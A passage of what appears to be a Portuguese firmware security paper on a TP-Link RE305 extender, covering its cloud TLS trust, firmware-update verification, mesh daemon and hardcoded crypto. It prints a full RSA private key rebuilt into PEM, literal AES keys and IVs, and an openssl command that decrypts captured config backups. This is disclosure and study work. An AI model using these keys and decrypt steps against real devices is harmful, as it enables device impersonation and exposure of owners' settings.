A questão imediata é se o canal valida o cert do servidor ou não — clássico ponto de falha em embedded. Abro o cloud-brd no radare pra ver o argumento que vai pro SSL_CTX_set_verify:

$ r2 -2 -q -e scr.color=0 -c 'aaa; axt @ sym.imp.SSL_CTX_set_verify' /usr/bin/cloud-brd
(nofunc) 0x4015a8 [UNKNOWN] tge v0, v1, sym.imp.SSL_CTX_set_verify
sym.cloud_socket_connect 0x42dbb0 [CALL] jalr t9

$ r2 -2 -q -e scr.color=0 -c 'aaa; s 0x42dba0; pd 6' /usr/bin/cloud-brd

0x0042dba4    lw t9, -sym.imp.SSL_CTX_set_verify(gp)
0x0042dba8    move a0, s0              ; ctx
0x0042dbac    addiu a1, zero, 1        ; mode = SSL_VERIFY_PEER
0x0042dbb0    jalr t9
0x0042dbb4    move a2, zero            ; callback = NULL

Mode = 1 = SSL_VERIFY_PEER, não 0 (SSL_VERIFY_NONE). Validação habilitada. Mas a CA store é exclusivamente /etc/certificate/2048_newroot.cer:

$ openssl x509 -in /etc/certificate/2048_newroot.cer -noout -subject -issuer -dates
subject=CN = tp-link-CA
issuer=CN = tp-link-CA
notBefore=Jan 19 08:27:52 2018 GMT
notAfter=Jan 19 08:37:52 2068 GMT

$ openssl x509 -in /etc/certificate/2048_newroot.cer -noout -text | head -8
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: ...
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = tp-link-CA
        Validity
            Not Before: Jan 19 08:27:52 2018 GMT
            Not After : Jan 19 08:37:52 2068 GMT

CA self-signed da própria TP-Link, válida por 50 anos (2018 → 2068). Toda a confiança do canal cloud recai em uma única chave privada da TP-Link. Se essa chave vazar — interno comprometido, supply chain attack, OEM-side data breach — toda CPE da linha RE confiando nessa CA aceita qualquer cert assinado pelo atacante. Não tem revocation cross-fleet realista. Não tem fallback para CA pública. Não tem pinning múltiplo. E o cert dura 50 anos.

E o atacante não precisa nem da CA. O defaultSvr é n-devs-gw.tplinkcloud.com resolvido via DNS. Se o atacante controla DNS do device (DHCP rogue, MITM no link, rogue resolver) e tem cert assinado pela tp-link-CA, MITM completo, com TLS verde do lado do device. A surface real é a chave privada da CA da TP-Link.

Comparação com o que vi no ZTE F689 com Claro: lá o ACS roda em domínio público (tr069.sdm.virtua.com.br) com cert WebPKI normal e mTLS inexistente. Aqui o RE305 cloud roda em domínio TP-Link (tplinkcloud.com) com cert privada. Modelos diferentes, mas ambos com point of failure único: lá o ACS sem auth, aqui a CA single-trust.

Não tem CVE público que documenta especificamente esse cenário de cloud-channel TP-Link com CA fechada de 50 anos. Existem CVEs em outros vendors da mesma classe (Mirai-era CVEs em Realtek RTL819x cloud daemons, CVE-2020-12695 em TR-069 ACS de operadora). Nenhum apontando esse paradigma da TP-Link diretamente.

13.1 Cadeia de firmware push e verificação

Pergunta direta: se a cloud pode pushar firmware, o que verifica a integridade e autenticidade desse firmware antes da escrita na flash? Cobri a cadeia completa.

Passo 1 — push notification. Cloud manda comando push com msgType=newFirmware via canal TLS. O handler em Lua é /usr/lib/lua/cloud/push.lua:

local function newFirmware(msg)
    local data = msg.params.data or {}
    local msgId = data.msgId
    local data_time = data.time
    local content = data.content
    -- parameter check
    if msgId == nil or data_time == nil or content == nil then
        ret[ERR_CODE] = ERROR_PARAMETER_INVALID[1]
    else
        sys.fork_exec("cloud_getFwList") --get new firmware info from cloud.
    end
end

Validação no Lua = só checa que msgId/time/content não são nil. Sem signature, sem nonce, sem replay protection. O canal TLS é a única autenticidade desse passo.

Passo 2 — fetch firmware list. Lua dispara cloud_getFwList (/usr/sbin/cloud_getFwList, também Lua script 3 KiB). Faz request síncrono getIntlFwList pra cloud, recebe JSON com fwUrl, fwVer, fwReleaseDate, etc., e salva em UCI:

uci_r:set("cloud_config", "upgrade_info", "download_url", fw.fwUrl)
uci_r:set("cloud_config", "upgrade_info", "version", fw.fwVer)
...
uci_r:commit("cloud_config")

Validação aqui = comparação semântica de versão (não baixa se versão atual ≥ versão remota). Não verifica origem da URL. A URL vem direto do JSON da cloud — se atacante controla a cloud, ele controla a URL.

Passo 3 — download. /usr/sbin/cloud_download (POSIX shell script) chama curl:

curl -C - -# -L -e ';auto' -o "\(2" -g "\)1" -Y 1 -y ${TIMEOUT} > /dev/null 2>&1 &

Curl sem --cacert explícito, depende do CA store default do sistema. Sem hash check do arquivo baixado. Suporta resume (-C -), follow redirects (-L). O download é apenas transporte — autenticação fica pro próximo passo.

Passo 4 — install via nvrammanager. O OpenWrt 12.09 ships com sysupgrade mas a TP-Link não usa ele. Pude confirmar:

# No device (shell root via UART):
root@OpenWrt:/# type platform_check_image
-sh: platform_check_image: not found

root@OpenWrt:/# grep -rln platform_check_image /lib/upgrade/
/lib/upgrade/common.sh

# A única referência em common.sh é estrutural, não define a função:
root@OpenWrt:/# grep -n "platform_check_image" /lib/upgrade/common.sh
122:sysupgrade_image_check="platform_check_image"
170:type platform_check_image >/dev/null 2>/dev/null || {

# Sysupgrade vai falhar com:
root@OpenWrt:/# /sbin/sysupgrade --test some-image.bin
Firmware upgrade is not implemented for this platform.

platform_check_image é o ponto de hook que platform-specific .sh scripts (tp-link.sh, ralink.sh, etc.) deviam definir pra validar o image antes do flash. Não existe no FS dumpado. O sysupgrade /sbin/sysupgrade, se invocado, sai com Firmware upgrade is not implemented for this platform. — código morto.

O instalador real é /usr/bin/nvrammanager, daemon proprietário 174 KiB. Funções relevantes (binário stripped, strings extraction):

\( strings /usr/bin/nvrammanager | grep -E '^[a-z][a-zA-Z_0-9]+\)' | grep -iE "(rsa|sha|md5|verify|flash|mtd|sysmgr|check|partition|fw)" | sort -u
CheckUpgradeFile
md5_make_digest
md5_verify_digest
MD5_Final
MD5_Init
MD5_Update
mtd_erase
mtd_get_secotor_size
mtd_read
mtd_write
nm_api_readPtnFromNvram
nm_api_writePtnToNvram
nm_initFwupPtnStruct
nm_lib_makeArgs
nm_lib_parsePtnIndexFile
nm_lib_ptnNameToEntry
nm_lib_readHeadlessPtnFromNvram
nm_lib_readPtnFromNvram
nm_lib_readPtnUsedSize
nm_lib_writeHeadlessPtnToNvram
nm_lib_writePtnToNvram
nvram_flash_read_tp_partition
nvram_flash_read2
nvram_flash_write_tp_partition
nvram_flash_write2
rsaVerifySignByBase64EncodePublicKeyBlob
RSA_SHA_Simple
sysmgr_cfg_checkSupportList
sysmgr_cfg_getProductInfoFromNvram

Error strings do verifier:

$ strings /usr/bin/nvrammanager | grep -E '\[Error\]'
[Error]%s():%5d @ Maximum number is invalid. maxNum = %d
[Error]%s():%5d @ Invalid file.
[Error]%s():%5d @ md5 verify error
[Error]%s():%5d @ uncompress error.
[Error]%s():%5d @ malloc fail
[Error]%s():%5d @ read from flash failed

$ strings /usr/bin/nvrammanager | grep -iE "(verify error|verify ok|check)"
Verify error!
CheckUpgradeFile
sysmgr_cfg_checkSupportList

Help do binário:

$ /usr/bin/nvrammanager --help
nvrammanager: NVRAM partition manager
Usage: nvrammanager [OPTIONS] ARGS
Operations:
  -c, --check=FILE                 Check upgrade FILE
  -r, --read                       Read partition
  -w, --write                      Write partition
  -e, --erase                      Erase partition
  -p, --partition=PTN_NAME         Partition name. ...

nvrammanager -c FILE faz a verificação completa antes de gravar:

1. Carrega a chave pública RSA embedded no binário (149 bytes, formato proprietário-TP-Link com magic RSA1 separado em região distinta de .rodata)

2. Decompõe o image em partições (com nm_lib_parsePtnIndexFile)

3. Para cada partição, calcula MD5 dos dados (md5_make_digest) e compara com hash do header (md5_verify_digest)

4. Valida assinatura RSA do header com a pubkey embedded (rsaVerifySignByBase64EncodePublicKeyBlob)

5. Checa lista de suporte (sysmgr_cfg_checkSupportList) — image precisa declarar suporte ao hwId/fwId atual

6. Só então chama nvram_flash_write_tp_partition → mtd_write

Sequência defensável. Comparando com o ZTE F689, a TP-Link efetivamente faz mais validação aqui — o RE305 tem RSA signature gate antes do flash write, o F689 da Claro depende do ACS pra empurrar firmware via TR-069 Download RPC sem verificação de signature local equivalente.

Três pontos onde o gate dá pra arranhar. Hashes legados em vez de SHA-256. A função RSA_SHA_Simple sugere uso de SHA-1 (não SHA-256) no RSA-PKCS1-v1_5 signature, e o hash do conteúdo é MD5. SHA-1 e MD5 estão broken pra collision attack. Atacante com a chave privada da TP-Link (improvável) ou com colisão útil (factível em SHA-1 mas requer payload grande) consegue forjar image. Não é exploit prático sem a chave, mas é fraqueza de design.

Formato custom da RSA pubkey. O blob de 149 bytes não é PEM nem MS PUBLICKEYBLOB padrão. O magic RSA1 aparece em .rodata numa região separada, indicando que rsaVerifySignByBase64EncodePublicKeyBlob é implementação proprietária TP-Link (não OpenSSL RSA_verify). Crypto custom historicamente vem com padding oracle, length confusion, time-side-channel. Sem decifrar o algoritmo interno fica como suspeita de design, mas é exatamente o tipo de surface onde bugs aparecem.

crytool com KEY+IV hardcoded no help. Strings em nvrammanager mostram o exemplo de invocação:

$ strings /usr/bin/nvrammanager | grep -A1 -B1 crytool
  -p, --partition=PTN_NAME         Partition name. ...
/usr/bin/crytool -r /tmp/user_conf.info -p user-config-info -m 478DA50BF9E3D2CF8819839D4C061445 -d 478DA50BF9E3D2CF
/tmp/user_conf.info

• m 478DA50BF9E3D2CF8819839D4C061445 (16 bytes = AES-128 KEY) e d 478DA50BF9E3D2CF (8 bytes = IV ou DES key). O binário crytool em si não está no FS dumpado — pode ser gerado runtime ou esteja em partição não capturada. Mas as constantes estão embedded em nvrammanager como literais, então existem no firmware. Parecem ser KEY/IV default pra decriptar /tmp/user_conf.info (config exportado por usuário) — outro caminho de leak se um atacante captura o config.bin do usuário.

Demo de decrypt em um config.bin capturado (assumindo formato AES-128-CBC com esses defaults):

# Se você tem um config.bin exportado pelo Web UI:
$ openssl enc -aes-128-cbc -d -K 478DA50BF9E3D2CF8819839D4C061445 \
    -iv 478DA50BF9E3D2CF -in config.bin -out config.plain
# Se o output for plaintext XML/UCI, a chave é literal e cross-device.

Fechando a cadeia: o canal cloud em si autentica via TLS — com a CA closed-trust da seção 13 sendo a vulnerabilidade real do transporte. Mas o passo final de instalação tem verificação RSA+MD5 que requer chave privada TP-Link válida pra forge. O vetor de RCE-via-cloud é credível mas não trivial — depende ou de compromise da chave de signing da TP-Link, ou de furo na custom crypto implementation. Sem uma dessas duas, o gate de RSA segura.

14. TMP — TP-Link Mesh Protocol daemon

Subindo na lista por tamanho de binário, depois do dropbear e do openssl o próximo daemon proprietário é o tmpServer em /usr/bin/, 275 KiB. Maior que o tdpServer (160 KiB) que paper já cobre na seção 12.6. E não tem CVE público nem documentação aberta sobre o protocolo que esse daemon implementa.

Init:

# /etc/init.d/tmpServer
start() {
    /bin/nice -n -5 /usr/bin/tmpServer &
    /bin/nice -n -5 /usr/bin/tdpServer &
    /bin/nice -n -5 /usr/bin/pfclient &
}

Os três daemons subindo juntos com nice -5 (prioridade elevada). Trio coordenado: tmpServer (mesh control), tdpServer (discovery — paper seção 12.6), pfclient (path forwarding client, surface ainda não decifrada).

Strings do tmpServer revelam o protocolo. Extração:

$ strings /usr/bin/tmpServer | grep -E "^TMP |bindOwner|isBinded|hostSupport"
TMP RECV HELLO PKT
TMP RECV DATA PKT
TMP RECV BYE PKT
TMP RECV ASSOC PKT and CLOSE SOCK
TMP RECV DATA length = %d
TMP RECV ERROR
tpApp_inf_BindOwner
tpApp_inf_unBindOwner
bindOwner
isBinded
hostSupportOneMesh: %d

$ strings /usr/bin/tmpServer | grep -E "pAppRecvHdr|servicetype"
pAppRecvHdr->servicetype = 0x%x

Esse é o TP-Link Mesh Protocol (TMP, prefixo padronizado dos logs). É o protocolo que o RE305, sendo extender, usa pra falar com um router TP-Link “owner” — o gateway principal da mesh OneMesh. Pacotes HELLO/DATA/BYE/ASSOC, framing custom, header de serviço com tipo. bindOwner / unBindOwner são as primitivas que ligam o extender ao router. isBinded flag de estado.

Onde o tmpServer escuta. Decompilando com radare:

$ r2 -2 -q -e scr.color=0 -c 'aaa; afl' /usr/bin/tmpServer | grep -iE "(bind|listen|socket|server)"
0x004290fc    6 224          sym.unBindOwner
0x00428ffc    6 256          sym.bindOwner
0x004308e0    1 16           sym.imp.listen
0x004307f0    1 16           sym.imp.socket
0x00430190    1 16           sym.imp.bind

$ r2 -2 -q -e scr.color=0 -c 'aaa; axt @ sym.imp.bind' /usr/bin/tmpServer
(nofunc) 0x4025e8 [UNKNOWN] invalid
fcn.0040fb88 0x40fc28 [CALL] jalr t9

$ r2 -2 -q -e scr.color=0 -c 'aaa; s fcn.0040fb88; pdf' /usr/bin/tmpServer | head -50

A função fcn.0040fb88 (chamada por fcn.00411398) faz o setup:

0x0040fbb0  addiu a0, zero, 2          ; socket: AF_INET
0x0040fbb4  addiu a1, zero, 2          ; type field
0x0040fbbc  addiu a2, zero, 6          ; protocol field — combina pra TCP no caminho efetivo
0x0040fbb8  jalr t9                    ; socket(...)
...
0x0040fc04  sh v0, (var_24h)           ; sin_family = AF_INET=2
0x0040fc08  addiu v0, zero, 0x224e     ; port immediate
0x0040fc10  sh v0, (var_26h)           ; sin_port (network byte order, LE arch)
0x0040fc14  lui v0, 0x100
0x0040fc18  addiu v0, v0, 0x7f         ; v0 = 0x0100007f
0x0040fc20  sw v0, (var_28h)           ; sin_addr.s_addr = 0x0100007f

Em little-endian MIPS, sin_port = 0x224e armazenado significa bytes 0x4e 0x22 na ordem de rede, que é a porta 0x4e22 = 20002. E sin_addr.s_addr = 0x0100007f armazenado significa bytes 0x7f 0x00 0x00 0x01, que é 127.0.0.1.

Ou seja: tmpServer escuta em 127.0.0.1:20002 TCP, loopback only, não exposto à LAN. Isso muda a leitura. O tmpServer é um daemon de IPC interno do device, não um endpoint de wire protocol acessível por outro host.

O caminho real de LAN exposure pra TMP é via tdpServer, que sim escuta em 0.0.0.0:20002 UDP (mesma porta, protocolo diferente, paper já cobre na seção 12.6). O tdpServer faz parsing de OneMesh discovery e bind, e provavelmente serializa state pro tmpServer via TCP loopback. Esse é o vetor LAN-reachable, e ele tem o problema documentado da F20 revisada (AES-256 com chave global hardcoded TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP no slave-key exchange).

O que sobra como surface pra TMP especificamente:

• tmpServer é privesc-local-only — qualquer processo na CPE com socket() pode falar com ele em 127.0.0.1:20002. Não é per-user porque o device só tem root, mas se algum daemon não-root for adicionado em firmware futuro (improvável mas possível), ganha acesso direto ao bind/unbind do extender

• A coordenação tdpServer (UDP LAN) → tmpServer (TCP loopback) é o caminho de relay. Vulnerabilidade no parser do tdpServer (memory corruption, lógica) que cause estado inconsistente vira controle sobre o tmpServer indirectly

• O wire format TMP ainda precisa ser caracterizado (HELLO/DATA/BYE/ASSOC, header pAppRecvHdr->servicetype em 4 bytes, payload variável)

Pra fechar o que sei do TMP nesse passe estático: o daemon roda como root com prioridade elevada, ouve em 127.0.0.1:20002 TCP (loopback), aceita HELLO/DATA/BYE/ASSOC nessa surface e expõe bindOwner/unBindOwner via esses mesmos pacotes. Vive coordenado com tdpServer (discovery LAN UDP) e pfclient (path forwarding). O caminho de ataque LAN-direto não passa por ele — passa pelo tdpServer, que é o front-end exposto. O tmpServer é alvo válido só pra atacante que já tem código rodando na CPE.

15. Material criptográfico em cleartext em /etc

Filesystem montado, peguei o reflexo de qualquer pentest pós-acesso: grep por chaves, senhas, certs, magic strings. O resultado em /etc/config/accountmgnt, arquivo lido pelo daemon de account management:

config rsa 'keys'
    option e '010001'
    option d '091550E28B45A770B296EDAEEF04E687F3258AB765A22E7CEA9D1BC8EB10BD2A0601A4421D267FD5ED5BF25A7372B67FFAD6D41A81A194B67623617F0A86A28F3727A6EC0E34ACCA4823F486CB3E08D9BBC2D043D62CC943EF898EF7C74CDCD8E9CEA87006019D6464B7B2BA37043D911611580A7A87D862E6BEBE4AD96146B1'
    option n 'D1E79FF135D14E342D76185C23024E6DEAD4D6EC2C317A526C811E83538EA4E5ED8E1B0EEE5CE26E3C1B6A5F1FE11FA804F28B7E8821CA90AFA5B2F300DF99FDA27C9D2131E031EA11463C47944C05005EF4C1CE932D7F4A87C7563581D9F27F0C305023FCE94997EC7D790696E784357ED803A610EBB71B12A8BE5936429BFD'

config cloud_account 'cloud_admin'

config account 'admin'
    option password 'U2FsdGVkX18aiTdFbz/nDvpHPyWANba5HAL1ev7/3v0='
    option username 'admin'

Duas coisas a destacar.

Primeiro: a chave privada RSA-1024 está em cleartext no /etc/config/accountmgnt. Expoente público e=010001 (65537, padrão), expoente privado d (256 hex chars = 1024 bits), módulo n (256 hex chars = 1024 bits). Isso é a chave privada completa, sem encryption, sem ACL no arquivo (644 por padrão no OpenWrt config).

Reconstrução da chave em formato PEM utilizável (e teste de validade):

$ python3 << 'PY'
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateNumbers, RSAPublicNumbers
from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption

n = int("D1E79FF135D14E342D76185C23024E6DEAD4D6EC2C317A526C811E83538EA4E5ED8E1B0EEE5CE26E3C1B6A5F1FE11FA804F28B7E8821CA90AFA5B2F300DF99FDA27C9D2131E031EA11463C47944C05005EF4C1CE932D7F4A87C7563581D9F27F0C305023FCE94997EC7D790696E784357ED803A610EBB71B12A8BE5936429BFD", 16)
e = int("010001", 16)
d = int("091550E28B45A770B296EDAEEF04E687F3258AB765A22E7CEA9D1BC8EB10BD2A0601A4421D267FD5ED5BF25A7372B67FFAD6D41A81A194B67623617F0A86A28F3727A6EC0E34ACCA4823F486CB3E08D9BBC2D043D62CC943EF898EF7C74CDCD8E9CEA87006019D6464B7B2BA37043D911611580A7A87D862E6BEBE4AD96146B1", 16)

# Recupera p,q a partir de (n,e,d) via algoritmo de Miller (1975) — polinomial probabilístico.
# Posse de (n,e,d) já é equivalente à private key; CRT params abaixo são pra serializar PEM canônico.
import math
k_de_minus_1 = e * d - 1
t = k_de_minus_1
while t % 2 == 0:
    t //= 2
# Pollard rho-like: any g satisfies g^t ≡ 1 mod n usually
for g in range(2, 100):
    x = pow(g, t, n)
    while x != 1 and x != n - 1 and pow(x, 2, n) != 1:
        x = pow(x, 2, n)
    if x != n - 1 and pow(x, 2, n) == 1:
        p = math.gcd(x - 1, n)
        q = n // p
        if p * q == n:
            break

pubnum = RSAPublicNumbers(e, n)
dp = d % (p - 1)
dq = d % (q - 1)
iqmp = pow(q, -1, p)
privnum = RSAPrivateNumbers(p, q, d, dp, dq, iqmp, pubnum)
key = privnum.private_key()
pem = key.private_bytes(Encoding.PEM, PrivateFormat.PKCS8, NoEncryption())
print(pem.decode())
PY

n bit length: 1024
p bit length: 512
q bit length: 512
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBANHnn/E10U40LXYY
XCMCTm3q1NbsLDF6UmyBHoNTjqTl7Y4bDu5c4m48G2pfH+EfqATyi36IIcqQr6Wy
8wDfmf2ifJ0hMeAx6hFGPEeUTAUAXvTBzpMtf0qHx1Y1gdnyfwwwUCP86UmX7H15
BpbnhDV+2AOmEOu3GxKovlk2Qpv9AgMBAAECgYAJFVDii0WncLKW7a7vBOaH8yWK
t2WiLnzqnRvI6xC9KgYBpEIdJn/V7VvyWnNytn/61tQagaGUtnYjYX8KhqKPNyem
7A40rMpII/SGyz4I2bvC0EPWLMlD74mO98dM3NjpzqhwBgGdZGS3sro3BD2RFhFY
CnqH2GLmvr5K2WFGsQJBAN2nzluj0VrfYN77C2VGy9mEB8u5jkULdlwm5PjWpfkr
PFxML4d5MHLTq79QQygJx1NtttxNcwm0bS/O1s7qrc8CQQDybbb3pGDk2039ZonV
wscS8ObSGMVNmmX4lKlxiqYPMUU3G4sqjFDuBgkFAOlfBPZTosxDNnGNvWHNsZ9R
qvhzAkEA0nNQ6pFPZQhR4WRaHX5qbct922ACRGvtpPEI1Xp3e2whk0CCoA3ggiWX
G74JBSrDpeK1i9W9M6mrQYkRSsRm4QJAHSB1dTd4tMZsjl99fANU67+p2+BCBFri
mYUy/oNMBFNFH6PdipUlPBPZjZJYd6Qe/Fl49TJbXk48q/wFSkiiZQJBAKu2QGE1
ZRAh+x6Bv5K0KRseHzlAcQuLnMGDXioG2Dlc76WQ4sBE7JvsG6gyVlmHdEj0LGzM
ndxeIaQT+jrZLpw=
-----END PRIVATE KEY-----

Validação que a chave é funcional:

\( echo "\)PEM" > /tmp/re305.rsa.pem
$ echo "hello onemesh" | openssl pkeyutl -sign -inkey /tmp/re305.rsa.pem -rawin > sig.bin
$ openssl pkey -in /tmp/re305.rsa.pem -pubout -out /tmp/re305.rsa.pub
$ echo "hello onemesh" | openssl pkeyutl -verify -pubin -inkey /tmp/re305.rsa.pub -rawin -sigfile sig.bin
Signature Verified Successfully

Funcional. A chave privada RSA-1024 do RE305 V3 com firmware 200826 está agora disponível pra quem tiver o config dump. Não preciso decifrar a senha admin pra usar essa chave — só de tê-la em mãos já me dá capacidade de assinar como o device, pra qualquer protocolo TP-Link que use essa key como identidade RSA (e há vários candidatos: setup wizard, bind handshake, OneMesh master verify).

A chave foi gerada — em algum momento — pelo script /etc/init.d/luarsa_keys_gen. No build que dumpei, esse script está com todas as linhas comentadas, então a chave atual veio do firmware de fábrica e é compartilhada entre todas as unidades da mesma versão de firmware. Cross-device static key. Padrão clássico de fail: vendor gera uma vez, embute no firmware, deploya em milhões de unidades.

Pra que essa chave é usada? Strings em nvrammanager, cloud-client e tmpServer indicam que tem componente RSA local em handshakes proprietários e em decryption de blobs do nvrammanager. Sem decifrar essa parte ainda, mas a presença literal da chave privada já é finding suficiente: se a chave é usada em qualquer protocolo de bind/auth/decryption, todo atacante com firmware da TP-Link tem ela.

RSA-1024, escolha conservadora de 2010, hoje desencorajada pelo NIST. Combinada com chave estática cross-device, o cenário é o pior dos dois mundos: o algoritmo é mais fraco do que se espera em 2026, e ainda é a mesma chave em todas as unidades.

Segundo: o módulo luci.model.crypto carrega duas chaves AES-256-CBC literais em bytecode pré-compilado.

grep-ando o /usr/lib/lua/luci/model/crypto.lua (que está em Lua 5.1 bytecode, header LuaQ) os strings table tem dois hex literals significativos:

KEY: 2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836
IV:  360028C9064242F81074F4C127D299F6

KEY = 32 bytes = AES-256, IV = 16 bytes = bloco AES. Adjacentes no constant pool aos strings -K e -iv (note o -K maiúsculo — modo direto KEY+IV explícito, sem KDF, sem salt) e às functions exportadas enc_for_onemesh / dec_for_onemesh.

Existe um pipeline OneMesh que usa essa chave + IV literais com openssl enc -aes-256-cbc -K <KEY> -iv <IV>. Sem rotação, sem KDF, sem per-device randomization. A mesma chave AES roda em todas as unidades RE305 V3 com firmware 200826 e provavelmente em toda a linha OneMesh da TP-Link que compartilha esse bytecode.

Cruzando com o que já tinha mapeado do TMP na seção 14: qualquer tráfego cifrado pelo TMP daemon entre o RE305 e o router OneMesh “owner” usa essa chave, e atacante com o firmware decifra qualquer pacote capturado da mesma classe de devices. Pior: o IV é FIXO. Em CBC, IV fixo + key fixa significa que padrões de plaintext repetido aparecem como ciphertext idêntico, e qualquer chosen-plaintext (ou known-plaintext, se atacante conhece o handshake do OneMesh) extrai informação. O cenário do OneMesh broadcast em LAN doméstica significa que vizinhos com o mesmo modelo, ou um atacante na LAN, podem injetar e forjar mensagens — bind hijacking via TMP fica trivial.

Não é CVE-class porque o impacto direto pede conhecimento do protocolo TMP de wire format (a fazer no apêndice deste paper ou em paper de continuidade). Mas como achado de design é tão grave quanto qualquer outro.

Terceiro: a senha do admin está encriptada com o formato Salted__ do OpenSSL.

U2FsdGVkX18aiTdFbz/nDvpHPyWANba5HAL1ev7/3v0=

U2FsdGVkX1 é o base64 de Salted__. Esse é o sentinel do openssl enc -aes-...-cbc quando rodado com password-based KDF padrão. Decodando o base64:

00000000  53 61 6c 74 65 64 5f 5f  1a 89 37 45 6f 3f e7 0e   Salted__..7Eo?..
00000010  fa 47 3f 25 80 35 b6 b9  1c 02 f5 7a fe ff de fd   .G?%.5.....z....

Header Salted__ (8 bytes) + salt (8 bytes: 1a 89 37 45 6f 3f e7 0e) + ciphertext (16 bytes = 1 bloco AES). Senha em texto plano cabe em até 16 bytes (provavelmente curta, tipo o default “admin” ou um valor configurado pelo usuário).

Diferente do path OneMesh (que usa -K -iv direto com as chaves hardcoded), esse fluxo é declarado em crypto.lua como openssl enc -aes-256-cbc -k <password> com password-based KDF, e o password viria de /etc/secretkey:

$ strings /usr/lib/lua/luci/model/crypto.lua | grep -A1 -B1 secretkey
-k %q
-kfile /etc/secretkey
2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836

Só que verifiquei no device live: /etc/secretkey não existe. Não é gerado pelos init scripts catalogados, não está em /tmp, não está em /etc_ro, não fica em memory mapped persistent storage que pude inspecionar. Nenhum daemon write para esse path.

A leitura inicial foi que o caminho crypt_used_openssl → enc_file/dec_file declarado em crypto.lua seria fallback morto e o caminho real seria wolfssl_enc_dec. Pra validar essa hipótese, peguei o próprio /usr/bin/lua patched do device, copiei junto da liblua.so.5.1.5 e da árvore Lua pro usr/lib/lua/ num chroot fake, e rodei via qemu-mipsel-static no host x86_64:

$ mkdir -p /tmp/re305_qemu/{lib,usr/lib,usr/bin,usr/lib/lua}
$ cp /usr/bin/lua /tmp/re305_qemu/usr/bin/
$ cp /usr/lib/liblua.so.5.1.5 /tmp/re305_qemu/usr/lib/
$ ln -s liblua.so.5.1.5 /tmp/re305_qemu/usr/lib/liblua.so.5.1
$ cp -r /lib/* /tmp/re305_qemu/lib/   # uClibc + deps
$ tar -C /usr/lib/lua -c . | tar -C /tmp/re305_qemu/usr/lib/lua -x

$ qemu-mipsel-static -L /tmp/re305_qemu /tmp/re305_qemu/usr/bin/lua -v
Lua 5.1.5  Copyright (C) 1994-2012 Lua.org, PUC-Rio (double int32)

A string (double int32) no banner do interpreter é a assinatura da TP-Link — vanilla Lua 5.1 não imprime isso. Confirma a modificação custom do interpreter e o motivo do luadec/unluac falharem com bad header no bytecode shipped.

Com o interpreter rodando, escrevi um bootstrap que hooka io.popen, os.execute e io.open ANTES de carregar luci.model.crypto, e chama crypto.enc("test_plaintext"):

-- /tmp/re305_qemu/hook.lua
local orig_popen = io.popen
io.popen = function(cmd, ...)
    print("[HOOK io.popen]: " .. tostring(cmd))
    return orig_popen(cmd, ...)
end
local orig_open = io.open
io.open = function(path, mode, ...)
    print("[HOOK io.open]: " .. tostring(path) .. " mode=" .. tostring(mode))
    return orig_open(path, mode, ...)
end
local crypto = require("luci.model.crypto")
print("=== crypto.enc trial ===")
local ok, result = pcall(crypto.enc, "test_plaintext_padme")
print("ok=", ok, "result=", tostring(result):sub(1, 200))

Execução:

$ qemu-mipsel-static -L /tmp/re305_qemu /tmp/re305_qemu/usr/bin/lua /tmp/re305_qemu/hook.lua

Can't open "/etc/secretkey" for reading, No such file or directory
40F7F1DC73790000:error:80000002:system library:BIO_new_file:No such file or directory:
    ../crypto/bio/bss_file.c:67:calling fopen(/etc/secretkey, r)
40F7F1DC73790000:error:10000080:BIO routines:BIO_new_file:no such file:
    ../crypto/bio/bss_file.c:75:
aes-256-cbc: Use -help for summary.
Invalid command 'zlib'; type "help" for a list.
=== crypto.enc trial ===
ok= true result= function: 0x462e50

Dois achados concretos:

1. O caminho REAL usado em produção É crypt_used_openssl — não wolfssl_enc_dec. Minha leitura inicial estava errada. O Lua module efetivamente dispara openssl zlib -e | openssl aes-256-cbc -e -kfile /etc/secretkey via io.popen. O fallback wolfssl_enc_dec só rola se o probe inicial decidir que crypt_used_openssl é false.

2. O caminho FALHA em runtime porque /etc/secretkey não existe E o openssl instalado também rejeita o subcomando zlib (removido nas versões recentes por motivos de CVE histórica).

O que aconteceu aqui, na minha leitura: o config field accountmgnt.admin.password (o U2FsdGVkX1...) foi muito provavelmente gravado num build/factory anterior onde /etc/secretkey existia e openssl zlib estava disponível, e nunca foi reencriptado depois que esses pré-requisitos foram removidos. Na prática o ciphertext continua no UCI, mas o caminho declarado pra decifrar dele não funciona no runtime atual.

Sobra inconsistência arquitetural entre o que crypto.lua declara e o que o runtime efetivamente sustenta. Ou (a) o admin auth da web UI usa um caminho alternativo que ignora accountmgnt.admin.password completamente, ou (b) o admin auth está broken numa sub-classe de devices que receberam esse firmware sem rebuild do /etc/secretkey. Não consegui distinguir esses dois cenários do meu lado estático+emulado.

Pra fechar a história sem live device introspection, três caminhos ficam abertos: cross-check com firmware OEM de outro modelo TP-Link da mesma família que ainda gere /etc/secretkey no boot (se existir) identificaria o script ou daemon ausente; decompilação do wolfssl_enc_dec body via patched luadec está bloqueada pelo bytecode com modificações custom de header e opcode constant types; e RE do binário /usr/bin/lua (16 KiB, MIPS LE stripped) pra extrair a tabela de opcodes modificada é vetor mais técnico mas viável. Pra esse paper estático fica arquitetura documentada com clear-text recovery pendente.

Qualquer um com shell root no RE305 pode dumpar a chave runtime — interceptando uma chamada a aes_decrypt em qualquer Lua script, ou via gdb attach no processo uhttpd. Como dropbear aceita root sem senha no factory state (seção 10), o atacante remoto LAN tem rota completa pra essa recuperação sem precisar quebrar crypto.

Bate com o que vi no ZTE F689: lá o PKCS12 client cert tinha senha derivada como sha256(seed)[:16], onde seed é literal MgtServer.0.PKCS12PassWord do hardcode. Mesma arquitetura aqui — secret hardcoded → KDF → key → decrypt config field. Vendors diferentes, mesma classe de falha, ambos confiando que reverse do binário cliente seja barreira efetiva. Não é.

